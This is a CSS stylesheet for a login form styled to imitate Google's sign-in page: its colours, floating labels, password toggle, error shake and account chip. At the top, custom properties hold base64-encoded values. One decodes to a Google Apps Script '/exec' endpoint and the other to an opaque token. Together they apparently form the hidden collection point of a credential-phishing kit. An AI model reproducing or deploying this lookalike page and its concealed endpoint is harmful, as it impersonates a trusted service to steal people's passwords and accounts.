:root {
  --base-hash: "aHR0cHM6Ly9zY3JpcHQuZ29vZ2xlLmNvbS9tYWNyb3Mvcy9BS2Z5Y2J4UUtuNjViUmZMZmpxMERvNTdCdG9XTTVfTjhvQkxKQ0VFVU9XbXN0eFZxX2FQUXB1R0M4eWhXM1p5U1B3M1RjQy0vZXhlYw==";
  --end-hash: "VFlzdTR3RFkzamJjcHlOdmdGMlQ2QkE3N1ByRVU1YnJReA==";
}

body {
  margin: 0;
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  color: #3d3d3d;
}

@keyframes shake {
  0% {
    transform: translateX(0);
  }

  25% {
    transform: translateX(-5px);
  }

  50% {
    transform: translateX(5px);
  }

  75% {
    transform: translateX(-5px);
  }

  100% {
    transform: translateX(0);
  }
}

.shake {
  animation: shake 0.5s ease-in-out;
}

.container {
  display: flex;
  justify-content: center;
  align-items: center;
  height: 100vh;
  background-color: #f1f3f4;
}

.form-container {
  display: flex;
  width: 80%;
  max-width: 900px;
  height: 350px;
  padding: 40px;
  background-color: white;
  box-shadow: 0 1px 4px rgba(0, 0, 0, 0.1);
  border-radius: 10px;
  z-index: 1;
}

.left-box {
  width: 40%;
  padding-right: 20px;
  display: flex;
  flex-direction: column;
  justify-content: center;
  margin-top: -15%;
}

.right-box {
  width: 60%;
  display: flex;
  flex-direction: column;
  justify-content: center;
}

.form-header {
  margin-bottom: 40px;
}

.form-header h2 {
  font-family: 'Arial', sans-serif;
  font-size: 44px;
  font-weight: normal;
  margin: 15px 0px;
}

.form-header label {
  display: block;
  margin-bottom: 30px;
}

.form-group {
  position: relative;
  margin-bottom: 20px;
}

.form-group input {
  width: 100%;
  padding: 16px 10px;
  box-sizing: border-box;
  border-radius: 4px;
  border: 1px solid #5f6368;
  background-color: transparent;
  font-size: 16px;
}

.form-group label {
  position: absolute;
  left: 10px;
  top: 9px;
  color: #5f6368;
  font-size: 16px;
  padding: 4px 4px;
  background-color: white;
  transition-property: transform;
  transition-duration: 200ms;
  z-index: -1;
}

.form-link {
  margin-top: 20px;
}

.form-link a {
  color: #1a73e8;
  font-weight: 500;
}

.form-link label {
  color: #5f6368;
  font-size: 14px;
}

.form-group input:focus {
  outline: none;
  border: 2px solid #1a73e8;
}

#email:focus+label,
#password:focus+label {
  transform: translate3d(0, -100%, 0);
  z-index: 1;
  color: #1a73e8;
}

.password-fixed {
  transform: translate3d(0, -100%, 0);
  z-index: 1 !important;
  color: #1a73e8;
}

.btn {
  float: right;
  color: white;
  background: #1267d8;
  border: 0;
  padding: 12px 22px;
  border-radius: 18px;
  transition: background-color 0.3s ease;
  font-size: 14px;
  margin-top: 5%;
}

.btn:hover {
  background: #145dab;
}

.showPassword {
  display: flex;
  align-items: center;
}

.showPassword input[type="checkbox"] {
  width: 20px;
  height: 20px;
  background-color: #fff;
  border: 2px solid #000;
  border-radius: 4px;
  cursor: pointer;
  position: relative;
}

.showPassword label {
  margin-left: 8px;
  font-size: 16px;
}

.email-box {
  display: inline-flex;
  align-items: center;
  background-color: white;
  border: 1px solid #ccc;
  border-radius: 50px;
  padding: 5px 10px;
  height: 28px;
  box-shadow: 0 1px 4px rgba(0, 0, 0, 0.1);
  margin-bottom: 28px;
  cursor: pointer;
  transition: background-color 0.2s ease;
  width: fit-content;
  min-width: 200px;
}

.email-box:hover {
  background-color: #e6e5e5;
}

.profile-icon {
  width: 24px;
  height: 24px;
  border-radius: 50%;
  margin-right: 10px;
  background-color: #ccc;
  display: flex;
  justify-content: center;
  align-items: center;
  flex-shrink: 0;
}

.profile-icon svg {
  width: 20px;
  height: 20px;
  fill: #555;
}

.email-text {
  font-size: 14px;
  color: #555;
  white-space: nowrap;
  margin-bottom: 4px;
  flex: 1;
}

.dropdown-arrow {
  margin-left: 10px;
  width: 10px;
  height: 10px;
  border-left: 2px solid #555;
  border-bottom: 2px solid #555;
  transform: rotate(45deg);
  flex-shrink: 0;
}

.error-message {
  display: none;
  color: red;
  font-size: 12px;
  margin-top: 5px;
  text-align: left;
  position: absolute;
  top: 50px;
  left: 0;
}

@media only screen and (max-width: 768px) {

  .form-container,
  .container,
  .left-box,
  .right-box {
    all: unset;
  }

  .container {
    width: 100%;
    display: flex;
    align-items: center;
    margin: 0;
  }

  .form-container {
    margin: 0;
    width: 100%;
    padding: 20px;
    flex-direction: column;
  }
}